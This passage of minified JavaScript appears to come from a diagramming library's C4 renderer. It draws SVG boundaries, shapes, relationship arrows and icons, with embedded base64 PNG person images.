i.attr("x",e.x+e.textMargin*2),i.text(r),n},"drawText"),oT=o((t,e,r,n)=>{let i=t.append("image");i.attr("x",e),i.attr("y",r);let a=(0,fL.sanitizeUrl)(n);i.attr("xlink:href",a)},"drawImage"),lT=o((t,e,r,n)=>{let i=t.append("use");i.attr("x",e),i.attr("y",r);let a=(0,fL.sanitizeUrl)(n);i.attr("xlink:href",`#${a}`)},"drawEmbeddedImage"),ua=o(()=>({x:0,y:0,width:100,height:100,fill:"#EDF2AE",stroke:"#666",anchor:"start",rx:0,ry:0}),"getNoteRect"),t2=o(()=>({x:0,y:0,width:100,height:100,"text-anchor":"start",style:"#666",textMargin:0,rx:0,ry:0,tspan:!0}),"getTextObj")});var Tj,dL,wj,WCe,YCe,XCe,jCe,KCe,QCe,ZCe,JCe,e7e,t7e,r7e,n7e,Au,Al,kj=N(()=>{"use strict";gr();r2();Tj=ja(tm(),1),dL=o(function(t,e){return Fd(t,e)},"drawRect"),wj=o(function(t,e,r,n,i,a){let s=t.append("image");s.attr("width",e),s.attr("height",r),s.attr("x",n),s.attr("y",i);let l=a.startsWith("data:image/png;base64")?a:(0,Tj.sanitizeUrl)(a);s.attr("xlink:href",l)},"drawImage"),WCe=o((t,e,r)=>{let n=t.append("g"),i=0;for(let a of e){let s=a.textColor?a.textColor:"#444444",l=a.lineColor?a.lineColor:"#444444",u=a.offsetX?parseInt(a.offsetX):0,h=a.offsetY?parseInt(a.offsetY):0,f="";if(i===0){let p=n.append("line");p.attr("x1",a.startPoint.x),p.attr("y1",a.startPoint.y),p.attr("x2",a.endPoint.x),p.attr("y2",a.endPoint.y),p.attr("stroke-width","1"),p.attr("stroke",l),p.style("fill","none"),a.type!=="rel_b"&&p.attr("marker-end","url("+f+"#arrowhead)"),(a.type==="birel"||a.type==="rel_b")&&p.attr("marker-start","url("+f+"#arrowend)"),i=-1}else{let p=n.append("path");p.attr("fill","none").attr("stroke-width","1").attr("stroke",l).attr("d","Mstartx,starty Qcontrolx,controly stopx,stopy ".replaceAll("startx",a.startPoint.x).replaceAll("starty",a.startPoint.y).replaceAll("controlx",a.startPoint.x+(a.endPoint.x-a.startPoint.x)/2-(a.endPoint.x-a.startPoint.x)/4).replaceAll("controly",a.startPoint.y+(a.endPoint.y-a.startPoint.y)/2).replaceAll("stopx",a.endPoint.x).replaceAll("stopy",a.endPoint.y)),a.type!=="rel_b"&&p.attr("marker-end","url("+f+"#arrowhead)"),(a.type==="birel"||a.type==="rel_b")&&p.attr("marker-start","url("+f+"#arrowend)")}let d=r.messageFont();Au(r)(a.label.text,n,Math.min(a.startPoint.x,a.endPoint.x)+Math.abs(a.endPoint.x-a.startPoint.x)/2+u,Math.min(a.startPoint.y,a.endPoint.y)+Math.abs(a.endPoint.y-a.startPoint.y)/2+h,a.label.width,a.label.height,{fill:s},d),a.techn&&a.techn.text!==""&&(d=r.messageFont(),Au(r)("["+a.techn.text+"]",n,Math.min(a.startPoint.x,a.endPoint.x)+Math.abs(a.endPoint.x-a.startPoint.x)/2+u,Math.min(a.startPoint.y,a.endPoint.y)+Math.abs(a.endPoint.y-a.startPoint.y)/2+r.messageFontSize+5+h,Math.max(a.label.width,a.techn.width),a.techn.height,{fill:s,"font-style":"italic"},d))}},"drawRels"),YCe=o(function(t,e,r){let n=t.append("g"),i=e.bgColor?e.bgColor:"none",a=e.borderColor?e.borderColor:"#444444",s=e.fontColor?e.fontColor:"black",l={"stroke-width":1,"stroke-dasharray":"7.0,7.0"};e.nodeType&&(l={"stroke-width":1});let u={x:e.x,y:e.y,fill:i,stroke:a,width:e.width,height:e.height,rx:2.5,ry:2.5,attrs:l};dL(n,u);let h=r.boundaryFont();h.fontWeight="bold",h.fontSize=h.fontSize+2,h.fontColor=s,Au(r)(e.label.text,n,e.x,e.y+e.label.Y,e.width,e.height,{fill:"#444444"},h),e.type&&e.type.text!==""&&(h=r.boundaryFont(),h.fontColor=s,Au(r)(e.type.text,n,e.x,e.y+e.type.Y,e.width,e.height,{fill:"#444444"},h)),e.descr&&e.descr.text!==""&&(h=r.boundaryFont(),h.fontSize=h.fontSize-2,h.fontColor=s,Au(r)(e.descr.text,n,e.x,e.y+e.descr.Y,e.width,e.height,{fill:"#444444"},h))},"drawBoundary"),XCe=o(function(t,e,r){let n=e.bgColor?e.bgColor:r[e.typeC4Shape.text+"_bg_color"],i=e.borderColor?e.borderColor:r[e.typeC4Shape.text+"_border_color"],a=e.fontColor?e.fontColor:"#FFFFFF",s="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAACD0lEQVR4Xu2YoU4EMRCGT+4j8Ai8AhaH4QHgAUjQuFMECUgMIUgwJAgMhgQsAYUiJCiQIBBY+EITsjfTdme6V24v4c8vyGbb+ZjOtN0bNcvjQXmkH83WvYBWto6PLm6v7p7uH1/w2fXD+PBycX1Pv2l3IdDm/vn7x+dXQiAubRzoURa7gRZWd0iGRIiJbOnhnfYBQZNJjNbuyY2eJG8fkDE3bbG4ep6MHUAsgYxmE3nVs6VsBWJSGccsOlFPmLIViMzLOB7pCVO2AtHJMohH7Fh6zqitQK7m0rJvAVYgGcEpe//PLdDz65sM4pF9N7ICcXDKIB5Nv6j7tD0NoSdM2QrU9Gg0ewE1LqBhHR3BBdvj2vapnidjHxD/q6vd7Pvhr31AwcY8eXMTXAKECZZJFXuEq27aLgQK5uLMohCenGGuGewOxSjBvYBqeG6B+Nqiblggdjnc+ZXDy+FNFpFzw76O3UBAROuXh6FoiAcf5g9eTvUgzy0nWg6I8cXHRUpg5bOVBCo+KDpFajOf23GgPme7RSQ+lacIENUgJ6gg1k6HjgOlqnLqip4tEuhv0hNEMXUD0clyXE3p6pZA0S2nnvTlXwLJEZWlb7cTQH1+USgTN4VhAenm/wea1OCAOmqo6fE1WCb9WSKBah+rbUWPWAmE2Rvk0ApiB45eOyNAzU8xcTvj8KvkKEoOaIYeHNA3ZuygAvFMUO0AAAAASUVORK5CYII=";switch(e.typeC4Shape.text){case"person":s="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAACD0lEQVR4Xu2YoU4EMRCGT+4j8Ai8AhaH4QHgAUjQuFMECUgMIUgwJAgMhgQsAYUiJCiQIBBY+EITsjfTdme6V24v4c8vyGbb+ZjOtN0bNcvjQXmkH83WvYBWto6PLm6v7p7uH1/w2fXD+PBycX1Pv2l3IdDm/vn7x+dXQiAubRzoURa7gRZWd0iGRIiJbOnhnfYBQZNJjNbuyY2eJG8fkDE3bbG4ep6MHUAsgYxmE3nVs6VsBWJSGccsOlFPmLIViMzLOB7pCVO2AtHJMohH7Fh6zqitQK7m0rJvAVYgGcEpe//PLdDz65sM4pF9N7ICcXDKIB5Nv6j7tD0NoSdM2QrU9Gg0ewE1LqBhHR3BBdvj2vapnidjHxD/q6vd7Pvhr31AwcY8eXMTXAKECZZJFXuEq27aLgQK5uLMohCenGGuGewOxSjBvYBqeG6B+Nqiblggdjnc+ZXDy+FNFpFzw76O3UBAROuXh6FoiAcf5g9eTvUgzy0nWg6I8cXHRUpg5bOVBCo+KDpFajOf23GgPme7RSQ+lacIENUgJ6gg1k6HjgOlqnLqip4tEuhv0hNEMXUD0clyXE3p6pZA0S2nnvTlXwLJEZWlb7cTQH1+USgTN4VhAenm/wea1OCAOmqo6fE1WCb9WSKBah+rbUWPWAmE2Rvk0ApiB45eOyNAzU8xcTvj8KvkKEoOaIYeHNA3ZuygAvFMUO0AAAAASUVORK5CYII=";break;case"external_person":s="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAIAAADYYG7QAAAB6ElEQVR4Xu2YLY+EMBCG9+dWr0aj0Wg0Go1Go0+j8Xdv2uTCvv1gpt0ebHKPuhDaeW4605Z9mJvx4AdXUyTUdd08z+u6flmWZRnHsWkafk9DptAwDPu+f0eAYtu2PEaGWuj5fCIZrBAC2eLBAnRCsEkkxmeaJp7iDJ2QMDdHsLg8SxKFEJaAo8lAXnmuOFIhTMpxxKATebo4UiFknuNo4OniSIXQyRxEA3YsnjGCVEjVXD7yLUAqxBGUyPv/Y4W2beMgGuS7kVQIBycH0fD+oi5pezQETxdHKmQKGk1eQEYldK+jw5GxPfZ9z7Mk0Qnhf1W1m3w//EUn5BDmSZsbR44QQLBEqrBHqOrmSKaQAxdnLArCrxZcM7A7ZKs4ioRq8LFC+NpC3WCBJsvpVw5edm9iEXFuyNfxXAgSwfrFQ1c0iNda8AdejvUgnktOtJQQxmcfFzGglc5WVCj7oDgFqU18boeFSs52CUh8LE8BIVQDT1ABrB0HtgSEYlX5doJnCwv9TXocKCaKbnwhdDKPq4lf3SwU3HLq4V/+WYhHVMa/3b4IlfyikAduCkcBc7mQ3/z/Qq/cTuikhkzB12Ae/mcJC9U+Vo8Ej1gWAtgbeGgFsAMHr50BIWOLCbezvhpBFUdY6EJuJ/QDW0XoMX60zZ0AAAAASUVORK5CYII=";break}let l=t.append("g");l.attr("class","person-man");let u=ua();switch(e.typeC4Shape.text){case"person":case"external_person":case"system":case"external_system":case"container":case"external_container":case"component":case"external_component":u.x=e.x,u.y=e.y,u.fill=n,u.width=e.width,u.height=e.height,u.stroke=i,u.rx=2.5,u.ry=2.5,u.attrs={"stroke-width":.5},dL(l,u);break;case"system_db":case"external_system_db":case"container_db":case"external_container_db":case"component_db":case"external_component_db":l.append("path").attr("fill",n).attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startyc0,-10 half,-10 half,-10c0,0 half,0 half,10l0,heightc0,10 -half,10 -half,10c0,0 -half,0 -half,-10l0,-height".replaceAll("startx",e.x).replaceAll("starty",e.y).replaceAll("half",e.width/2).replaceAll("height",e.height)),l.append("path").attr("fill","none").attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startyc0,10 half,10 half,10c0,0 half,0 half,-10".replaceAll("startx",e.x).replaceAll("starty",e.y).replaceAll("half",e.width/2));break;case"system_queue":case"external_system_queue":case"container_queue":case"external_container_queue":case"component_queue":case"external_component_queue":l.append("path").attr("fill",n).attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startylwidth,0c5,0 5,half 5,halfc0,0 0,half -5,halfl-width,0c-5,0 -5,-half -5,-halfc0,0 0,-half 5,-half".replaceAll("startx",e.x).replaceAll("starty",e.y).replaceAll("width",e.width).replaceAll("half",e.height/2)),l.append("path").attr("fill","none").attr("stroke-width","0.5").attr("stroke",i).attr("d","Mstartx,startyc-5,0 -5,half -5,halfc0,half 5,half 5,half".replaceAll("startx",e.x+e.width).replaceAll("starty",e.y).replaceAll("half",e.height/2));break}let h=n7e(r,e.typeC4Shape.text);switch(l.append("text").attr("fill",a).attr("font-family",h.fontFamily).attr("font-size",h.fontSize-2).attr("font-style","italic").attr("lengthAdjust","spacing").attr("textLength",e.typeC4Shape.width).attr("x",e.x+e.width/2-e.typeC4Shape.width/2).attr("y",e.y+e.typeC4Shape.Y).text("<<"+e.typeC4Shape.text+">>"),e.typeC4Shape.text){case"person":case"external_person":wj(l,48,48,e.x+e.width/2-24,e.y+e.image.Y,s);break}let f=r[e.typeC4Shape.text+"Font"]();return f.fontWeight="bold",f.fontSize=f.fontSize+2,f.fontColor=a,Au(r)(e.label.text,l,e.x,e.y+e.label.Y,e.width,e.height,{fill:a},f),f=r[e.typeC4Shape.text+"Font"](),f.fontColor=a,e.techn&&e.techn?.text!==""?Au(r)(e.techn.text,l,e.x,e.y+e.techn.Y,e.width,e.height,{fill:a,"font-style":"italic"},f):e.type&&e.type.text!==""&&Au(r)(e.type.text,l,e.x,e.y+e.type.Y,e.width,e.height,{fill:a,"font-style":"italic"},f),e.descr&&e.descr.text!==""&&(f=r.personFont(),f.fontColor=a,Au(r)(e.descr.text,l,e.x,e.y+e.descr.Y,e.width,e.height,{fill:a},f)),e.height},"drawC4Shape"),jCe=o(function(t){t.append("defs").append("symbol").attr("id","database").attr("fill-rule","evenodd").attr("clip-rule","evenodd").append("path").attr("transform","scale(.5)").attr("d","M12.258.001l.256.004.255.005.253.008.251.01.249.012.247.015.246.016.242.019.241.02.239.023.236.024.233.027.231.028.229.031.225.032.223.034.22.036.217.038.214.04.211.041.208.043.205.045.201.046.198.048.194.05.191.051.187.053.183.054.18.056.175.057.172.059.168.06.163.061.16.063.155.064.15.066.074.033.073.033.071.034.07.034.069.035.068.035.067.035.066.035.064.036.064.036.062.036.06.036.06.037.058.037.058.037.055.038.055.038.053.038.052.038.051.039.05.039.048.039.047.039.045.04.044.04.043.04.041.04.04.041.039.041.037.041.036.041.034.041.033.042.032.042.03.042.029.042.027.042.026.043.024.043.023.043.021.043.02.043.018.044.017.043.015.044.013.044.012.044.011.045.009.044.007.045.006.045.004.045.002.045.001.045v17l-.001.045-.002.045-.004.045-.006.045-.007.045-.009.044-.011.045-.012.044-.013.044-.015.044-.017.043-.018.044-.02.043-.021.043-.023.043-.024.043-.026.043-.027.042-.029.042-.03.042-.032.042-.033.042-.034.041-.036.041-.037.041-.039.041-.04.041-.041.04-.043.04-.044.04-.045.04-.047.039-.048.039-.05.039-.051.039-.052.038-.053.038-.055.038-.055.038-.058.037-.058.037-.06.037-.06.036-.062.036-.064.036-.064.036-.066.035-.067.035-.068.035-.069.035-.07.034-.071.034-.073.033-.074.033-.15.066-.155.064-.16.063-.163.061-.168.06-.172.059-.175.057-.18.056-.183.054-.187.053-.191.051-.194.05-.198.048-.201.046-.205.045-.208.043-.211.041-.214.04-.217.038-.22.036-.223.034-.225.032-.229.031-.231.028-.233.027-.236.024-.239.023-.241.02-.242.019-.246.016-.247.015-.249.012-.251.01-.253.008-.255.005-.256.004-.258.001-.258-.001-.256-.004-.255-.005-.253-.008-.251-.01-.249-.012-.247-.015-.245-.016-.243-.019-.241-.02-.238-.023-.236-.024-.234-.027-.231-.028-.228-.031-.226-.032-.223-.034-.22-.036-.217-.038-.214-.04-.211-.041-.208-.043-.204-.045-.201-.046-.198-.048-.195-.05-.19-.051-.187-.053-.184-.054-.179-.056-.176-.057-.172-.059-.167-.06-.164-.061-.159-.063-.155-.064-.151-.066-.074-.033-.072-.033-.072-.034-.07-.034-.069-.035-.068-.035-.067-.035-.066-.035-.064-.036-.063-.036-.062-.036-.061-.036-.06-.037-.058-.037-.057-.037-.056-.038-.055-.038-.053-.038-.052-.038-.051-.039-.049-.039-.049-.039-.046-.039-.046-.04-.044-.04-.043-.04-.041-.04-.04-.041-.039-.041-.037-.041-.036-.041-.034-.041-.033-.042-.032-.042-.03-.042-.029-.042-.027-.042-.026-.043-.024-.043-.023-.043-.021-.043-.02-.043-.018-.044-.017-.043-.015-.044-.013-.044-.012-.044-.011-.045-.009-.044-.007-.045-.006-.045-.004-.045-.002-.045-.001-.045v-17l.001-.045.002-.045.004-.045.006-.045.007-.045.009-.044.011-.045.012-.044.013-.044.015-.044.017-.043.018-.044.02-.043.021-.043.023-.043.024-.043.026-.043.027-.042.029-.042.03-.042.032-.042.033-.042.034-.041.036-.041.037-.041.039-.041.04-.041.041-.04.043-.04.044-.04.046-.04.046-.039.049-.039.049-.039.051-.039.052-.038.053-.038.055-.038.056-.038.057-.037.058-.037.06-.037.061-.036.062-.036.063-.036.064-.036.066-.035.067-.035.068-.035.069-.035.07-.034.072-.034.072-.033.074-.033.151-.066.155-.064.159-.063.164-.061.167-.06.172-.059.176-.057.179-.056.184-.054.187-.053.19-.051.195-.05.198-.048.201-.046.204-.045.208-.043.211-.041.214-.04.217-.038.22-.036.223-.034.226-.032.228-.031.231-.028.234-.027.236-.024.238-.023.241-.02.243-.019.245-.016.247-.015.249-.012.251-.01.253-.008.255-.005.256-.004.258-.001.258.001zm-9.258 20.499v.01l.001.021.003.021.004.022.005.021.006.022.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.023.018.024.019.024.021.024.022.025.023.024.024.025.052.049.056.05.061.051.066.051.07.051.075.051.079.052.084.052.088.052.092.052.097.052.102.051.105.052.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.048.144.049.147.047.152.047.155.047.16.045.163.045.167.043.171.043.176.041.178.041.183.039.187.039.19.037.194.035.197.035.202.033.204.031.209.03.212.029.216.027.219.025.222.024.226.021.23.02.233.018.236.016.24.015.243.012.246.01.249.008.253.005.256.004.259.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.021.224-.024.22-.026.216-.027.212-.028.21-.031.205-.031.202-.034.198-.034.194-.036.191-.037.187-.039.183-.04.179-.04.175-.042.172-.043.168-.044.163-.045.16-.046.155-.046.152-.047.148-.048.143-.049.139-.049.136-.05.131-.05.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.053.083-.051.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.05.023-.024.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.023.01-.022.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.127l-.077.055-.08.053-.083.054-.085.053-.087.052-.09.052-.093.051-.095.05-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.045-.118.044-.12.043-.122.042-.124.042-.126.041-.128.04-.13.04-.132.038-.134.038-.135.037-.138.037-.139.035-.142.035-.143.034-.144.033-.147.032-.148.031-.15.03-.151.03-.153.029-.154.027-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.01-.179.008-.179.008-.181.006-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.006-.179-.008-.179-.008-.178-.01-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.027-.153-.029-.151-.03-.15-.03-.148-.031-.146-.032-.145-.033-.143-.034-.141-.035-.14-.035-.137-.037-.136-.037-.134-.038-.132-.038-.13-.04-.128-.04-.126-.041-.124-.042-.122-.042-.12-.044-.117-.043-.116-.045-.113-.045-.112-.046-.109-.047-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.05-.093-.052-.09-.051-.087-.052-.085-.053-.083-.054-.08-.054-.077-.054v4.127zm0-5.654v.011l.001.021.003.021.004.021.005.022.006.022.007.022.009.022.01.022.011.023.012.023.013.023.015.024.016.023.017.024.018.024.019.024.021.024.022.024.023.025.024.024.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.052.11.051.114.051.119.052.123.05.127.051.131.05.135.049.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.044.171.042.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.022.23.02.233.018.236.016.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.012.241-.015.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.048.139-.05.136-.049.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.051.051-.049.023-.025.023-.024.021-.025.02-.024.019-.024.018-.024.017-.024.015-.023.014-.023.013-.024.012-.022.01-.023.01-.023.008-.022.006-.022.006-.022.004-.021.004-.022.001-.021.001-.021v-4.139l-.077.054-.08.054-.083.054-.085.052-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.049-.105.048-.106.047-.109.047-.111.046-.114.045-.115.044-.118.044-.12.044-.122.042-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.035-.143.033-.144.033-.147.033-.148.031-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.025-.161.024-.162.023-.163.022-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.011-.178.009-.179.009-.179.007-.181.007-.182.005-.182.004-.184.003-.184.002h-.37l-.184-.002-.184-.003-.182-.004-.182-.005-.181-.007-.179-.007-.179-.009-.178-.009-.176-.011-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.022-.162-.023-.161-.024-.159-.025-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.031-.146-.033-.145-.033-.143-.033-.141-.035-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.04-.126-.041-.124-.042-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.047-.105-.048-.102-.049-.1-.049-.097-.05-.095-.051-.093-.051-.09-.051-.087-.053-.085-.052-.083-.054-.08-.054-.077-.054v4.139zm0-5.666v.011l.001.02.003.022.004.021.005.022.006.021.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.024.018.023.019.024.021.025.022.024.023.024.024.025.052.05.056.05.061.05.066.051.07.051.075.052.079.051.084.052.088.052.092.052.097.052.102.052.105.051.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.049.144.048.147.048.152.047.155.046.16.045.163.045.167.043.171.043.176.042.178.04.183.04.187.038.19.037.194.036.197.034.202.033.204.032.209.03.212.028.216.027.219.025.222.024.226.021.23.02.233.018.236.017.24.014.243.012.246.01.249.008.253.006.256.003.259.001.26-.001.257-.003.254-.006.25-.008.247-.01.244-.013.241-.014.237-.016.233-.018.231-.02.226-.022.224-.024.22-.025.216-.027.212-.029.21-.03.205-.032.202-.033.198-.035.194-.036.191-.037.187-.039.183-.039.179-.041.175-.042.172-.043.168-.044.163-.045.16-.045.155-.047.152-.047.148-.048.143-.049.139-.049.136-.049.131-.051.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.049.023-.025.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.024.013-.023.012-.023.01-.022.01-.023.008-.022.006-.022.006-.022.004-.022.004-.021.001-.021.001-.021v-4.153l-.077.054-.08.054-.083.053-.085.053-.087.053-.09.051-.093.051-.095.051-.097.05-.1.049-.102.048-.105.048-.106.048-.109.046-.111.046-.114.046-.115.044-.118.044-.12.043-.122.043-.124.042-.126.041-.128.04-.13.039-.132.039-.134.038-.135.037-.138.036-.139.036-.142.034-.143.034-.144.033-.147.032-.148.032-.15.03-.151.03-.153.028-.154.028-.156.027-.158.026-.159.024-.161.024-.162.023-.163.023-.165.021-.166.02-.167.019-.169.018-.169.017-.171.016-.173.015-.173.014-.175.013-.175.012-.177.01-.178.01-.179.009-.179.007-.181.006-.182.006-.182.004-.184.003-.184.001-.185.001-.185-.001-.184-.001-.184-.003-.182-.004-.182-.006-.181-.006-.179-.007-.179-.009-.178-.01-.176-.01-.176-.012-.175-.013-.173-.014-.172-.015-.171-.016-.17-.017-.169-.018-.167-.019-.166-.02-.165-.021-.163-.023-.162-.023-.161-.024-.159-.024-.157-.026-.156-.027-.155-.028-.153-.028-.151-.03-.15-.03-.148-.032-.146-.032-.145-.033-.143-.034-.141-.034-.14-.036-.137-.036-.136-.037-.134-.038-.132-.039-.13-.039-.128-.041-.126-.041-.124-.041-.122-.043-.12-.043-.117-.044-.116-.044-.113-.046-.112-.046-.109-.046-.106-.048-.105-.048-.102-.048-.1-.05-.097-.049-.095-.051-.093-.051-.09-.052-.087-.052-.085-.053-.083-.053-.08-.054-.077-.054v4.153zm8.74-8.179l-.257.004-.254.005-.25.008-.247.011-.244.012-.241.014-.237.016-.233.018-.231.021-.226.022-.224.023-.22.026-.216.027-.212.028-.21.031-.205.032-.202.033-.198.034-.194.036-.191.038-.187.038-.183.04-.179.041-.175.042-.172.043-.168.043-.163.045-.16.046-.155.046-.152.048-.148.048-.143.048-.139.049-.136.05-.131.05-.126.051-.123.051-.118.051-.114.052-.11.052-.106.052-.101.052-.096.052-.092.052-.088.052-.083.052-.079.052-.074.051-.07.052-.065.051-.06.05-.056.05-.051.05-.023.025-.023.024-.021.024-.02.025-.019.024-.018.024-.017.023-.015.024-.014.023-.013.023-.012.023-.01.023-.01.022-.008.022-.006.023-.006.021-.004.022-.004.021-.001.021-.001.021.001.021.001.021.004.021.004.022.006.021.006.023.008.022.01.022.01.023.012.023.013.023.014.023.015.024.017.023.018.024.019.024.02.025.021.024.023.024.023.025.051.05.056.05.06.05.065.051.07.052.074.051.079.052.083.052.088.052.092.052.096.052.101.052.106.052.11.052.114.052.118.051.123.051.126.051.131.05.136.05.139.049.143.048.148.048.152.048.155.046.16.046.163.045.168.043.172.043.175.042.179.041.183.04.187.038.191.038.194.036.198.034.202.033.205.032.21.031.212.028.216.027.22.026.224.023.226.022.231.021.233.018.237.016.241.014.244.012.247.011.25.008.254.005.257.004.26.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.022.224-.023.22-.026.216-.027.212-.028.21-.031.205-.032.202-.033.198-.034.194-.036.191-.038.187-.038.183-.04.179-.041.175-.042.172-.043.168-.043.163-.045.16-.046.155-.046.152-.048.148-.048.143-.048.139-.049.136-.05.131-.05.126-.051.123-.051.118-.051.114-.052.11-.052.106-.052.101-.052.096-.052.092-.052.088-.052.083-.052.079-.052.074-.051.07-.052.065-.051.06-.05.056-.05.051-.05.023-.025.023-.024.021-.024.02-.025.019-.024.018-.024.017-.023.015-.024.014-.023.013-.023.012-.023.01-.023.01-.022.008-.022.006-.023.006-.021.004-.022.004-.021.001-.021.001-.021-.001-.021-.001-.021-.004-.021-.004-.022-.006-.021-.006-.023-.008-.022-.01-.022-.01-.023-.012-.023-.013-.023-.014-.023-.015-.024-.017-.023-.018-.024-.019-.024-.02-.025-.021-.024-.023-.024-.023-.025-.051-.05-.056-.05-.06-.05-.065-.051-.07-.052-.074-.051-.079-.052-.083-.052-.088-.052-.092-.052-.096-.052-.101-.052-.106-.052-.11-.052-.114-.052-.118-.051-.123-.051-.126-.051-.131-.05-.136-.05-.139-.049-.143-.048-.148-.048-.152-.048-.155-.046-.16-.046-.163-.045-.168-.043-.172-.043-.175-.042-.179-.041-.183-.04-.187-.038-.191-.038-.194-.036-.198-.034-.202-.033-.205-.032-.21-.031-.212-.028-.216-.027-.22-.026-.224-.023-.226-.022-.231-.021-.233-.018-.237-.016-.241-.014-.244-.012-.247-.011-.25-.008-.254-.005-.257-.004-.26-.001-.26.001z")},"insertDatabaseIcon"),KCe=o(function(t){t.append("defs").append("symbol").attr("id","computer").attr("width","24").attr("height","24").append("path").attr("transform","scale(.5)").attr("d","M2 2v13h20v-13h-20zm18 11h-16v-9h16v9zm-10.228 6l.466-1h3.524l.467 1h-4.457zm14.228 3h-24l2-6h2.104l-1.33 4h18.45l-1.297-4h2.073l2 6zm-5-10h-14v-7h14v7z")},"insertComputerIcon"),QCe=o(function(t){t.append("defs").append("symbol").attr("id","clock").attr("width","24").attr("height","24").append("path").attr("transform","scale(.5)").attr("d","M12 2c5.514 0 10 4.486 10 10s-4.486 10-10 10-10-4.486-10-10 4.486-10 10-10zm0-2c-6.627 0-12 5.373-12 12s5.373 12 12 12 12-5.373 12-12-5.373-12-12-12zm5.848 12.459c.202.038.202.333.001.372-1.907.361-6.045 1.111-6.547 1.111-.719 0-1.301-.582-1.301-1.301 0-.512.77-5.447 1.125-7.445.034-.192.312-.181.343.014l.985 6.238 5.394 1.011z")},"insertClockIcon"),ZCe=o(function(t){t.append("defs").append("marker").attr("id","arrowhead").attr("refX",9).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto").append("path").attr("d","M 0 0 L 10 5 L 0 10 z")},"insertArrowHead"),JCe=o(function(t){t.append("defs").append("marker").attr("id","arrowend").attr("refX",1).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",12).attr("markerHeight",12).attr("orient","auto").append("path").attr("d","M 10 0 L 0 5 L 10 10 z")},"insertArrowEnd"),e7e=o(function(t){t.append("defs").append("marker").attr("id","filled-head").attr("refX",18).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 18,7 L9,13 L14,7 L9,1 Z")},"insertArrowFilledHead"),t7e=o(function(t){t.append("defs").append("marker").attr("id","sequencenumber").attr("refX",15).attr("refY",15).attr("markerWidth",60).attr("markerHeight",40).attr("orient","auto").append("circle").attr("cx",15).attr("cy",15).attr("r",6)},"insertDynamicNumber"),r7e=o(function(t){let r=t.append("defs").append("marker").attr("id","crosshead").attr("markerWidth",15).attr("markerHeight",8).attr("orient","auto").attr("refX",16).attr("refY",4);r.append("path").attr("fill","black").attr("stroke","#000000").style("stroke-dasharray","0, 0").attr("stroke-width","1px").attr("d","M 9,2 V 6 L16,4 Z"),r.append("path").attr("fill","none").attr("stroke","#000000").style("stroke-dasharray","0, 0").attr("stroke-width","1px").attr("d","M 0,1 L 6,7 M 6,1 L 0,7")},"insertArrowCrossHead"),n7e=o((t,e)=>({fontFamily:t[e+"FontFamily"],fontSize:t[e+"FontSize"],fontWeight:t[e+"FontWeight"]}),"getC4ShapeFont"),Au=(function(){function t(i,a,s,l,u,h,f){let 